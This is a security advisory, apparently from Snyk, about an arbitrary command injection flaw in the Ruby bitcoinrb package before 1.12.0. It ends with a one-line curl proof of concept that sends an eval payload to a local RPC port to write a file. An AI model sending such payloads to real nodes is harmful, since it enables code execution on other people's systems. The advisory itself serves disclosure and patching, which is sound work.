Arbitrary Command Injection Affecting bitcoinrb package, versions <1.12.0
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Exploit Maturity
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Start learning- Snyk IDSNYK-RUBY-BITCOINRB-15265182
- published11 Feb 2026
- disclosed10 Feb 2026
- creditUnknown
Introduced: 10 Feb 2026
New CVE NOT AVAILABLE CWE-77 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade bitcoinrb to version 1.12.0 or higher.
Overview
bitcoinrb is an implementation of Bitcoin Protocol for Ruby
Affected versions of this package are vulnerable to Arbitrary Command Injection via the send function in rpc/http_server.rb, which runs as part of the experimental SPV node feature. An attacker can execute arbitrary system commands by supplying malicious values for the command and args parameters in a POST request.
PoC
curl -X POST http://127.0.0.1:18443 -H 'Content-Type: application/json' -d '{"method":"eval","params":["File.write(\"/tmp/pwned\",\"owned\")"]}'